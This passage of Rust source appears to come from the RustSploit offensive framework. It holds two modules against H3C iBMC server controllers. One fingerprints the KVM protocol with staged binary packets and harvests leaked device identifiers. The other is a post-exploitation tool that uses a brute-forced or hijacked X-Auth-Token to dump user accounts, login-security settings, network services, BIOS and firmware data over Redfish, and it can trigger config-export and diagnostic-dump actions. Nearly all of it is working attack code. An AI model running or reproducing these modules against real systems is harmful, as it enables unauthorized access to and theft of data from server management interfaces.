crate::mprintln!("{}", "║ Sends magic + header + serial init packets ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
// ---------------------------------------------------------------------------
// Module metadata
// ---------------------------------------------------------------------------
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC H5 KVM Protocol Probe".to_string(),
description: "Probes H3C iBMC targets for the custom binary KVM protocol on TCP \
port 7582 (TLS) or 7578 (plaintext). Sends three staged probe packets \
the 8-byte 'S' magic, a 16-byte minimal version/opcode message, and \
a 48-byte full init packet with a dummy serial and parses responses \
to extract protocol version, session capabilities, and any device \
identifier leaked during the handshake. Non-destructive; no \
authentication is attempted. FOR AUTHORIZED TESTING ONLY."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.h3c.com/en/Products_and_Solutions/Server/".to_string(),
"https://www.ami.com/products/server-management/megarac-sp/".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Great,
default_port: None,
}
}
// ---------------------------------------------------------------------------
// Packet builder
// ---------------------------------------------------------------------------
/// Build the full 48-byte init packet with an embedded serial number.
fn build_full_init_packet(serial: &str) -> Vec<u8> {
let serial_bytes = serial.as_bytes();
let serial_len = serial_bytes.len().min(20) as u16;
let mut pkt = Vec::with_capacity(48);
// magic (8 bytes)
pkt.extend_from_slice(&[0x53, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]);
// header (8 bytes)
pkt.extend_from_slice(&[0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00]);
// payload prefix (8 bytes)
pkt.extend_from_slice(&[0x50, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02, 0x00]);
// serial length (2 bytes, big-endian)
pkt.extend_from_slice(&serial_len.to_be_bytes());
// serial (padded to 20 bytes)
pkt.extend_from_slice(&serial_bytes[..serial_len as usize]);
for _ in serial_len..20 {
pkt.push(0x00);
}
// trailing flag (2 bytes)
pkt.extend_from_slice(&[0x01, 0x00]);
pkt
}
// ---------------------------------------------------------------------------
// Response analysis
// ---------------------------------------------------------------------------
/// Information extracted from a probe response.
#[derive(Debug, Default)]
struct ProbeResult {
/// True if the service echoed the 'S' magic back.
magic_confirmed: bool,
/// Protocol version byte from offset 8 in the response, if present.
protocol_version: Option<u8>,
/// Raw capability / opcode bytes from the response header, if present.
capabilities: Option<[u8; 4]>,
/// Any ASCII serial or identifier found in the response payload.
device_id: Option<String>,
/// How many bytes the server returned.
response_len: usize,
}
/// Analyse a raw response buffer.
fn analyse_response(buf: &[u8], n: usize) -> ProbeResult {
let data = &buf[..n];
let mut result = ProbeResult {
response_len: n,
..Default::default()
};
// Check for the 'S' magic at the start.
if n >= 1 && data[0] == 0x53 {
result.magic_confirmed = true;
}
// Protocol version sits at offset 8.
if n > 8 {
result.protocol_version = Some(data[8]);
}
// Capability / opcode bytes at offsets 12..16.
if n >= 16 {
let mut caps = [0u8; 4];
caps.copy_from_slice(&data[12..16]);
result.capabilities = Some(caps);
}
// Scan for printable ASCII runs >= 4 characters in the payload region
// (everything past the 16-byte header) as potential device identifiers.
if n > 16 {
let payload = &data[16..];
let mut ascii_run = Vec::new();
for &b in payload {
if b.is_ascii_graphic() || b == b' ' {
ascii_run.push(b);
} else {
if ascii_run.len() >= 4 {
result.device_id = Some(String::from_utf8_lossy(&ascii_run).to_string());
break;
}
ascii_run.clear();
}
}
if result.device_id.is_none() && ascii_run.len() >= 4 {
result.device_id = Some(String::from_utf8_lossy(&ascii_run).to_string());
}
}
result
}
fn format_probe_result(pr: &ProbeResult) -> String {
let mut parts = Vec::new();
if let Some(v) = pr.protocol_version {
parts.push(format!("proto_ver=0x{:02X}", v));
}
if let Some(caps) = pr.capabilities {
parts.push(format!("caps={:02X}{:02X}{:02X}{:02X}", caps[0], caps[1], caps[2], caps[3]));
}
if let Some(ref id) = pr.device_id {
parts.push(format!("device_id=\"{}\"", id));
}
parts.push(format!("resp_len={}", pr.response_len));
parts.join(", ")
}
// ---------------------------------------------------------------------------
// Probe helpers — three probe stages
// ---------------------------------------------------------------------------
/// Stage tag for logging and findings.
#[derive(Debug, Clone, Copy)]
enum ProbeStage {
Magic,
Minimal,
FullInit,
}
impl std::fmt::Display for ProbeStage {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
ProbeStage::Magic => write!(f, "magic"),
ProbeStage::Minimal => write!(f, "minimal"),
ProbeStage::FullInit => write!(f, "full_init"),
}
}
}
/// Send `payload` and read the response over a plaintext TCP connection.
async fn probe_tcp(
host: &str,
port: u16,
payload: &[u8],
timeout: Duration,
) -> Result<(bool, Vec<u8>)> {
let addr = format!("{}:{}", host, port);
let mut sock = crate::utils::network::tcp_connect_str(&addr, timeout)
.await
.map_err(|e| anyhow!(e))?;
match tokio::time::timeout(timeout, sock.write_all(payload)).await {
Ok(Ok(())) => {}
Ok(Err(e)) => return Err(anyhow!(e)),
Err(e) => return Err(anyhow!("write timed out: {e}")),
}
let mut buf = [0u8; 256];
match tokio::time::timeout(timeout, sock.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => Ok((buf[0] == 0x53, buf[..n].to_vec())),
Ok(Ok(_)) => Ok((false, Vec::new())),
Ok(Err(e)) => {
tracing::debug!("TCP read error: {e}");
Ok((false, Vec::new()))
}
Err(e) => {
tracing::debug!("timeout: {e}");
Ok((false, Vec::new()))
}
}
}
/// Send `payload` and read the response over TLS.
async fn probe_tls(
host: &str,
port: u16,
payload: &[u8],
timeout: Duration,
) -> Result<(bool, Vec<u8>)> {
use tokio_rustls::rustls::pki_types::ServerName;
let addr = format!("{}:{}", host, port);
let stream = crate::utils::network::tcp_connect_str(&addr, timeout)
.await
.map_err(|e| anyhow!(e))?;
let connector = crate::native::async_tls::make_dangerous_tls_connector();
let server_name = ServerName::try_from(host.to_string())
.or_else(|_| ServerName::try_from("localhost".to_string()))
.context("ServerName")?;
let mut tls_stream = match tokio::time::timeout(timeout, connector.connect(server_name, stream)).await {
Ok(Ok(s)) => s,
Ok(Err(e)) => return Err(anyhow!(e)),
Err(e) => return Err(anyhow!("TLS handshake timed out: {e}")),
};
match tokio::time::timeout(timeout, tls_stream.write_all(payload)).await {
Ok(Ok(())) => {}
Ok(Err(e)) => return Err(anyhow!(e)),
Err(e) => return Err(anyhow!("write timed out: {e}")),
}
let mut buf = [0u8; 256];
match tokio::time::timeout(timeout, tls_stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => Ok((buf[0] == 0x53, buf[..n].to_vec())),
Ok(Ok(_)) => Ok((false, Vec::new())),
Ok(Err(e)) => {
tracing::debug!("TLS read error: {e}");
Ok((false, Vec::new()))
}
Err(e) => {
tracing::debug!("timeout: {e}");
Ok((false, Vec::new()))
}
}
}
// ---------------------------------------------------------------------------
// Main run
// ---------------------------------------------------------------------------
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx
.target
.as_single()
.context("h3c_kvm_protocol_probe requires a single-host target")?;
display_banner();
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
let mut outcome = ModuleOutcome::ok();
// ── Options ──────────────────────────────────────────────────────────
let port_input = cfg_prompt_default(
"ports",
"Ports to probe (comma-separated)",
&DEFAULT_PORTS
.iter()
.map(|p| p.to_string())
.collect::<Vec<_>>()
.join(","),
)
.await?;
let ports: Vec<u16> = port_input
.split(',')
.filter_map(|s| s.trim().parse().ok())
.collect();
if ports.is_empty() {
return Err(anyhow!("No valid ports parsed from '{}'", port_input));
}
let try_tls = cfg_prompt_yes_no("try_tls", "Try TLS-wrapped probe?", true).await?;
let timeout_ms = cfg_prompt_int_range(
"timeout_ms",
"Per-port timeout (ms)",
DEFAULT_TIMEOUT_MS as i64,
500,
30_000,
)
.await? as u64;
let serial = cfg_prompt_default(
"serial",
"Serial number for full init packet",
DEFAULT_SERIAL,
)
.await?;
let host = sanitize_host(target);
let timeout = Duration::from_millis(timeout_ms);
let full_init_pkt = build_full_init_packet(&serial);
let mut hits = 0usize;
// ── Per-port probing ─────────────────────────────────────────────────
for port in &ports {
let port = *port;
crate::mprintln!();
crate::mprintln!(
"{}",
format!("[*] Probing {}:{} ...", host, port).cyan()
);
// Determine which transports to try. Port 7582 defaults to TLS;
// port 7578 to plaintext; other ports try both if TLS is enabled.
let transports: Vec<(&str, bool)> = if port == 7582 && try_tls {
vec![("TLS", true), ("plaintext", false)]
} else if port == 7578 {
vec![("plaintext", false)]
} else if try_tls {
vec![("TLS", true), ("plaintext", false)]
} else {
vec![("plaintext", false)]
};
for (transport_label, use_tls) in &transports {
// ── Stage 1: magic-only probe ────────────────────────────────
crate::mprint!(
"{}",
format!(" [1] {} {} probe ... ", transport_label, ProbeStage::Magic).cyan()
);
ctx.rate_limit(&host).await;
let (magic_ok, magic_resp) = if *use_tls {
match probe_tls(&host, port, MAGIC_PROBE, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
continue; // skip remaining stages on this transport
}
}
} else {
match probe_tcp(&host, port, MAGIC_PROBE, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
continue;
}
}
};
if !magic_ok || magic_resp.is_empty() {
crate::mprintln!("{}", "no H3C KVM response".dimmed());
continue;
}
let pr1 = analyse_response(&magic_resp, magic_resp.len());
crate::mprintln!(
"{}",
format!("H3C KVM magic confirmed ({})", format_probe_result(&pr1))
.green()
.bold()
);
// ── Stage 2: minimal 16-byte message ─────────────────────────
crate::mprint!(
"{}",
format!(" [2] {} {} msg ... ", transport_label, ProbeStage::Minimal).cyan()
);
ctx.rate_limit(&host).await;
let (min_ok, min_resp) = if *use_tls {
match probe_tls(&host, port, MINIMAL_MSG, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
(false, Vec::new())
}
}
} else {
match probe_tcp(&host, port, MINIMAL_MSG, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
(false, Vec::new())
}
}
};
let mut protocol_version: Option<u8> = pr1.protocol_version;
let mut device_id: Option<String> = pr1.device_id.clone();
if min_ok && !min_resp.is_empty() {
let pr2 = analyse_response(&min_resp, min_resp.len());
crate::mprintln!(
"{}",
format!("protocol reply ({})", format_probe_result(&pr2))
.green()
.bold()
);
if pr2.protocol_version.is_some() {
protocol_version = pr2.protocol_version;
}
if pr2.device_id.is_some() {
device_id = pr2.device_id.clone();
}
} else {
crate::mprintln!("{}", "no reply to minimal message".dimmed());
}
// ── Stage 3: full 48-byte init packet ────────────────────────
crate::mprint!(
"{}",
format!(" [3] {} {} ... ", transport_label, ProbeStage::FullInit).cyan()
);
ctx.rate_limit(&host).await;
let (full_ok, full_resp) = if *use_tls {
match probe_tls(&host, port, &full_init_pkt, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
(false, Vec::new())
}
}
} else {
match probe_tcp(&host, port, &full_init_pkt, timeout).await {
Ok(r) => r,
Err(e) => {
crate::mprintln!("{}", format!("error: {}", e).dimmed());
(false, Vec::new())
}
}
};
if full_ok && !full_resp.is_empty() {
let pr3 = analyse_response(&full_resp, full_resp.len());
crate::mprintln!(
"{}",
format!("full init reply ({})", format_probe_result(&pr3))
.green()
.bold()
);
if pr3.protocol_version.is_some() {
protocol_version = pr3.protocol_version;
}
if pr3.device_id.is_some() {
device_id = pr3.device_id.clone();
}
} else {
crate::mprintln!("{}", "no reply to full init".dimmed());
}
// ── Record finding ───────────────────────────────────────────
hits += 1;
let mut data = serde_json::json!({
"host": host,
"port": port,
"transport": transport_label,
"magic_confirmed": true,
"response_len_magic": magic_resp.len(),
});
if let Some(v) = protocol_version {
data["protocol_version"] = serde_json::json!(format!("0x{:02X}", v));
}
if let Some(ref id) = device_id {
data["device_id"] = serde_json::json!(id);
}
if min_ok {
data["minimal_msg_accepted"] = serde_json::json!(true);
}
if full_ok {
data["full_init_accepted"] = serde_json::json!(true);
}
// Record which protocol stages the endpoint accepted. Reaching this
// point means the magic stage was confirmed; the later stages are
// additive depending on how far the handshake progressed.
let mut stages_completed: Vec<ProbeStage> = vec![ProbeStage::Magic];
if min_ok {
stages_completed.push(ProbeStage::Minimal);
}
if full_ok {
stages_completed.push(ProbeStage::FullInit);
}
data["stages_completed"] = serde_json::json!(
stages_completed.iter().map(|s| s.to_string()).collect::<Vec<_>>()
);
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"H3C iBMC KVM protocol confirmed at {}:{} ({})",
host, port, transport_label
),
data: Some(data),
});
// First successful transport on this port is enough.
break;
}
}
// ── Summary ──────────────────────────────────────────────────────────
crate::mprintln!();
if hits > 0 {
crate::mprintln!(
"{}",
format!(
"[!] {} H3C KVM endpoint(s) confirmed — binary KVM protocol is reachable.",
hits
)
.red()
.bold()
);
crate::mprintln!(
"{}",
" Exposed KVM allows remote console access with valid BMC credentials."
.yellow()
);
} else {
crate::mprintln!(
"{}",
"[*] No H3C KVM protocol endpoints detected.".cyan()
);
}
Ok(outcome)
}
// ---------------------------------------------------------------------------
// Helpers
// ---------------------------------------------------------------------------
fn sanitize_host(target: &str) -> String {
let mut t = target.trim().to_string();
for prefix in &["https://", "http://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') {
t.truncate(slash);
}
if let Some(colon) = t.find(':') {
t.truncate(colon);
}
t
}
// ---------------------------------------------------------------------------
// Registration
// ---------------------------------------------------------------------------
crate::register_native_module!(crate::module::Category::Exploits, "frameworks/h3c_bmc/h3c_kvm_protocol_probe", native);
@@ -0,0 +1,704 @@
//! H3C iBMC authenticated Redfish configuration dump (post-exploitation).
//!
//! Given a valid `X-Auth-Token` (obtained from brute force, the unauthenticated
//! WebSocket module, or session hijack), this module queries every interesting
//! Redfish endpoint on an H3C iBMC and dumps:
//!
//! * Full system identity: serial number, UUID, model, hostname, processor
//! count, total memory.
//! * BMC manager info: firmware version, datetime, model.
//! * All local accounts with roles, lockout state, and enabled status.
//! * Security dashboard and login security configuration.
//! * Enabled network services/protocols and listening ports.
//! * Ethernet interface configuration (eth0 / eth1): IPs, MACs, VLANs.
//! * BIOS settings.
//! * Firmware inventory for every updateable component.
//!
//! Optionally (with operator confirmation) the module can trigger POST actions
//! to export the full BMC configuration or generate a BMC diagnostic dump.
//!
//! FOR AUTHORIZED TESTING ONLY.
use anyhow::{Context, Result};
use colored::*;
use reqwest::header::HeaderMap;
use std::time::Duration;
use crate::module::{Finding, FindingKind, ModuleCtx, ModuleOutcome};
use crate::module_info::{ModuleInfo, ModuleRank};
use crate::utils::{
cfg_prompt_default,
cfg_prompt_int_range,
cfg_prompt_yes_no,
};
use crate::utils::network::{build_http_client_with, HttpClientOpts};
const DEFAULT_PORT: u16 = 443;
const DEFAULT_TIMEOUT_SECS: u64 = 20;
/// Module metadata.
pub fn info() -> ModuleInfo {
ModuleInfo {
name: "H3C iBMC Authenticated Redfish Configuration Dump".to_string(),
description: "Post-exploitation module for H3C iBMC. Uses a valid X-Auth-Token to \
enumerate system identity, user accounts, security posture, network \
services, BIOS settings, and firmware inventory via the Redfish API. \
Optionally triggers configuration export and BMC dump actions."
.to_string(),
authors: vec!["RustSploit Contributors".to_string()],
references: vec![
"https://www.dmtf.org/standards/redfish".to_string(),
"https://owasp.org/Top10/A01_2021-Broken_Access_Control/".to_string(),
],
disclosure_date: None,
rank: ModuleRank::Excellent,
default_port: None,
}
}
fn display_banner() {
if crate::utils::is_batch_mode() { return; }
crate::mprintln!("{}", "╔══════════════════════════════════════════════════════════════╗".red());
crate::mprintln!("{}", "║ H3C iBMC Authenticated Redfish Configuration Dump ║".red().bold());
crate::mprintln!("{}", "║ Post-exploitation: enumerate users, config, firmware ║".red());
crate::mprintln!("{}", "║ Requires valid X-Auth-Token from brute force / WS module ║".red());
crate::mprintln!("{}", "║ FOR AUTHORIZED TESTING ONLY ║".red());
crate::mprintln!("{}", "╚══════════════════════════════════════════════════════════════╝".red());
crate::mprintln!();
}
/// Strip scheme, trailing path, and port from a target string to get a bare
/// hostname or IP.
fn sanitize_host(target: &str) -> String {
let mut t = target.trim().to_string();
for prefix in &["https://", "http://", "ws://", "wss://"] {
if let Some(stripped) = t.strip_prefix(prefix) {
t = stripped.to_string();
break;
}
}
if let Some(slash) = t.find('/') { t.truncate(slash); }
if let Some(colon) = t.find(':') { t.truncate(colon); }
t
}
/// Build the reqwest HTTP client with default headers for authenticated
/// Redfish requests.
fn build_client(token: &str) -> Result<reqwest::Client> {
let mut headers = HeaderMap::new();
headers.insert("X-Auth-Token", token.parse().context("invalid token header value")?);
headers.insert("Request-Via", "WEB".parse().unwrap());
headers.insert("Accept", "application/json".parse().unwrap());
headers.insert("Cookie", "RSAIndex=7".parse().unwrap());
build_http_client_with(
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
HttpClientOpts {
default_headers: Some(headers),
follow_redirects: true,
..HttpClientOpts::permissive()
},
)
.context("Failed to build HTTP client")
}
/// Issue an authenticated GET and return the parsed JSON body, or `None` on
/// any transport / HTTP error (logged but non-fatal).
async fn redfish_get(
client: &reqwest::Client,
ctx: &ModuleCtx,
host: &str,
base_url: &str,
path: &str,
) -> Option<serde_json::Value> {
let url = format!("{}{}", base_url, path);
ctx.rate_limit(host).await;
crate::mprintln!("{}", format!("[*] GET {}", url).cyan());
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
if !status.is_success() {
crate::mprintln!("{}", format!("[-] {} => HTTP {}", path, status).red());
return None;
}
match crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await {
Ok(body) => match serde_json::from_str::<serde_json::Value>(&body) {
Ok(json) => Some(json),
Err(e) => {
crate::mprintln!("{}", format!("[!] JSON parse error for {}: {}", path, e).yellow());
None
}
},
Err(e) => {
crate::mprintln!("{}", format!("[!] Read body error for {}: {}", path, e).yellow());
None
}
}
}
Err(e) => {
crate::mprintln!("{}", format!("[-] Request failed for {}: {}", path, e).red());
None
}
}
}
/// Issue an authenticated POST (JSON body) and return success status.
async fn redfish_post(
client: &reqwest::Client,
ctx: &ModuleCtx,
host: &str,
base_url: &str,
path: &str,
body: serde_json::Value,
) -> Result<(u16, String)> {
let url = format!("{}{}", base_url, path);
ctx.rate_limit(host).await;
crate::mprintln!("{}", format!("[*] POST {}", url).cyan());
let resp = client
.post(&url)
.json(&body)
.send()
.await
.with_context(|| format!("POST {} failed", path))?;
let status = resp.status().as_u16();
let text = crate::utils::network::read_http_body_text_capped(resp, crate::utils::safe_io::DEFAULT_BODY_CAP).await.unwrap_or_default();
Ok((status, text))
}
/// Pretty-print a selection of keys from a JSON object.
fn print_kv(json: &serde_json::Value, keys: &[&str]) {
for key in keys {
if let Some(val) = json.get(*key) {
if !val.is_null() {
crate::mprintln!(" {}: {}", key.bold(), format_value(val));
}
}
}
}
/// Format a serde_json::Value for display (strip quotes from strings).
fn format_value(v: &serde_json::Value) -> String {
match v {
serde_json::Value::String(s) => s.clone(),
serde_json::Value::Null => "(null)".to_string(),
other => other.to_string(),
}
}
/// Main module entry point.
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
let target = ctx.target.as_single().context("h3c_redfish_config_dump requires a single-host target")?;
let mut outcome = ModuleOutcome::ok();
display_banner();
let host = sanitize_host(target);
// -- Operator configuration prompts --
let token = cfg_prompt_default(
"token",
"X-Auth-Token (from brute force or WebSocket module)",
"",
).await?;
if token.trim().is_empty() {
anyhow::bail!("A valid X-Auth-Token is required. Obtain one from the brute-force or WebSocket module first.");
}
let port = cfg_prompt_int_range("port", "Redfish HTTPS port", DEFAULT_PORT as i64, 1, 65535).await? as u16;
let default_scheme = if port == 80 { "http" } else { "https" };
let scheme = cfg_prompt_default("scheme", "HTTP scheme", default_scheme).await?;
let dump_system = cfg_prompt_yes_no("dump_system", "Dump system identity (Systems/1)?", true).await?;
let dump_manager = cfg_prompt_yes_no("dump_manager", "Dump BMC manager info (Managers/1)?", true).await?;
let dump_accounts = cfg_prompt_yes_no("dump_accounts", "Enumerate user accounts (AccountService)?", true).await?;
let dump_security = cfg_prompt_yes_no("dump_security", "Dump security dashboard & login security?", true).await?;
let dump_network = cfg_prompt_yes_no("dump_network", "Dump network protocol services?", true).await?;
let dump_ethernet = cfg_prompt_yes_no("dump_ethernet", "Dump ethernet interfaces (eth0/eth1)?", true).await?;
let dump_bios = cfg_prompt_yes_no("dump_bios", "Dump BIOS settings?", true).await?;
let dump_firmware = cfg_prompt_yes_no("dump_firmware", "Dump firmware inventory?", true).await?;
let trigger_export = cfg_prompt_yes_no("trigger_export", "Trigger config export action (POST)?", false).await?;
let trigger_dump = cfg_prompt_yes_no("trigger_dump", "Trigger BMC diagnostic dump action (POST)?", false).await?;
let base_url = format!("{}://{}:{}", scheme, host, port);
crate::mprintln!("{}", format!("[*] Target: {}", base_url).yellow());
crate::mprintln!("{}", format!("[*] Token: {}...", token.chars().take(12).collect::<String>()).yellow());
crate::mprintln!();
let client = build_client(&token)?;
// ---------------------------------------------------------------
// 1. System Identity
// ---------------------------------------------------------------
if dump_system {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] System Identity — /redfish/v1/Systems/1".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url, "/redfish/v1/Systems/1").await {
print_kv(&json, &[
"Name", "Id", "Manufacturer", "Model", "SerialNumber",
"UUID", "HostName", "BiosVersion", "PowerState", "IndicatorLED",
]);
// Processor summary
if let Some(ps) = json.get("ProcessorSummary") {
crate::mprintln!(" {}: {} x {}",
"Processors".bold(),
ps.get("Count").map(|v| format_value(v)).unwrap_or_default(),
ps.get("Model").map(|v| format_value(v)).unwrap_or_default(),
);
}
// Memory summary
if let Some(ms) = json.get("MemorySummary") {
crate::mprintln!(" {}: {} GiB (Status: {})",
"Memory".bold(),
ms.get("TotalSystemMemoryGiB").map(|v| format_value(v)).unwrap_or_default(),
ms.get("Status").and_then(|s| s.get("HealthRollup")).map(|v| format_value(v)).unwrap_or_default(),
);
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"H3C iBMC system identity dumped: {} {} (S/N: {})",
json.get("Manufacturer").map(|v| format_value(v)).unwrap_or_default(),
json.get("Model").map(|v| format_value(v)).unwrap_or_default(),
json.get("SerialNumber").map(|v| format_value(v)).unwrap_or_default(),
),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Systems/1",
"serial": json.get("SerialNumber"),
"uuid": json.get("UUID"),
"model": json.get("Model"),
"hostname": json.get("HostName"),
"bios_version": json.get("BiosVersion"),
})),
});
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 2. BMC Manager Info
// ---------------------------------------------------------------
if dump_manager {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] BMC Manager — /redfish/v1/Managers/1".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url, "/redfish/v1/Managers/1").await {
print_kv(&json, &[
"Name", "Id", "Model", "FirmwareVersion", "DateTime",
"DateTimeLocalOffset", "UUID", "Status",
]);
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"H3C iBMC manager info: firmware {}",
json.get("FirmwareVersion").map(|v| format_value(v)).unwrap_or_default(),
),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Managers/1",
"firmware_version": json.get("FirmwareVersion"),
"model": json.get("Model"),
"datetime": json.get("DateTime"),
})),
});
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 3. User Account Enumeration
// ---------------------------------------------------------------
if dump_accounts {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] User Accounts — /redfish/v1/AccountService/Accounts".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url, "/redfish/v1/AccountService/Accounts").await {
let mut account_details: Vec<serde_json::Value> = Vec::new();
if let Some(members) = json.get("Members").and_then(|m| m.as_array()) {
crate::mprintln!("{}", format!("[+] Found {} account entries", members.len()).green());
for member in members {
if ctx.is_cancelled() { break; }
if let Some(odata_id) = member.get("@odata.id").and_then(|v| v.as_str()) {
if let Some(acct) = redfish_get(&client, ctx, &host, &base_url, odata_id).await {
let username = acct.get("UserName").map(|v| format_value(v)).unwrap_or_default();
let role = acct.get("RoleId").map(|v| format_value(v)).unwrap_or_default();
let enabled = acct.get("Enabled").map(|v| format_value(v)).unwrap_or_default();
let locked = acct.get("Locked").map(|v| format_value(v)).unwrap_or_default();
if !username.is_empty() {
crate::mprintln!(" {} | Role: {} | Enabled: {} | Locked: {}",
username.bold().yellow(),
role.green(),
enabled,
locked,
);
}
account_details.push(acct);
}
}
}
}
crate::mprintln!();
if !account_details.is_empty() {
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: format!("H3C iBMC: {} user accounts enumerated", account_details.len()),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/AccountService/Accounts",
"account_count": account_details.len(),
"accounts": account_details,
})),
});
}
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 4. Security Dashboard & Login Security
// ---------------------------------------------------------------
if dump_security {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Security Dashboard".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url,
"/redfish/v1/Managers/1/Oem/Public/SecurityDashboard").await
{
print_kv(&json, &[
"OverallSecurityStatus", "SecuritySuggestions",
]);
// Print all top-level keys for visibility
if let Some(obj) = json.as_object() {
for (k, v) in obj {
if k.starts_with('@') || k == "OverallSecurityStatus" || k == "SecuritySuggestions" {
continue;
}
crate::mprintln!(" {}: {}", k.bold(), format_value(v));
}
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: "H3C iBMC security dashboard dumped".to_string(),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Managers/1/Oem/Public/SecurityDashboard",
"security_dashboard": json,
})),
});
}
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Login Security Information".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url,
"/redfish/v1/Managers/1/Oem/Public/LoginSecurityInformation").await
{
if let Some(obj) = json.as_object() {
for (k, v) in obj {
if k.starts_with('@') { continue; }
crate::mprintln!(" {}: {}", k.bold(), format_value(v));
}
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: "H3C iBMC login security configuration dumped".to_string(),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Managers/1/Oem/Public/LoginSecurityInformation",
"login_security": json,
})),
});
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 5. Network Protocol Services
// ---------------------------------------------------------------
if dump_network {
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", "[*] Network Protocol Services — /redfish/v1/Managers/1/NetworkProtocol".cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url,
"/redfish/v1/Managers/1/NetworkProtocol").await
{
let protocol_keys = [
"HTTP", "HTTPS", "SSH", "IPMI", "SNMP", "SSDP", "Telnet",
"VirtualMedia", "KVMIP", "NTP", "DHCP",
];
for proto in &protocol_keys {
if let Some(pv) = json.get(*proto) {
let enabled = pv.get("ProtocolEnabled").map(|v| format_value(v)).unwrap_or_default();
let port_num = pv.get("Port").map(|v| format_value(v)).unwrap_or_default();
let status_marker = if enabled == "true" { "[ON]".green().bold() } else { "[OFF]".dimmed() };
crate::mprintln!(" {} {:8} port {}", status_marker, proto.bold(), port_num);
}
}
crate::mprintln!();
outcome.findings.push(Finding {
target: host.clone(),
kind: FindingKind::Vulnerable,
message: "H3C iBMC network protocol services enumerated".to_string(),
data: Some(serde_json::json!({
"endpoint": "/redfish/v1/Managers/1/NetworkProtocol",
"network_protocol": json,
})),
});
}
}
if ctx.is_cancelled() { return Ok(outcome); }
// ---------------------------------------------------------------
// 6. Ethernet Interfaces
// ---------------------------------------------------------------
if dump_ethernet {
for iface in &["eth0", "eth1"] {
let path = format!("/redfish/v1/Managers/1/EthernetInterfaces/{}", iface);
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
crate::mprintln!("{}", format!("[*] Ethernet Interface — {}", path).cyan().bold());
crate::mprintln!("{}", "══════════════════════════════════════════════════".bold());
if let Some(json) = redfish_get(&client, ctx, &host, &base_url, &path).await {
print_kv(&json, &[
"Id", "Name", "MACAddress", "PermanentMACAddress",
"SpeedMbps", "AutoNeg", "FullDuplex", "MTUSize",
"HostName", "FQDN", "InterfaceEnabled",
]);
// IPv4 addresses
if let Some(addrs) = json.get("IPv4Addresses").and_then(|a| a.as_array()) {
for (i, addr) in addrs.iter().enumerate() {
let ip = addr.get("Address").map(|v| format_value(v)).unwrap_or_default();
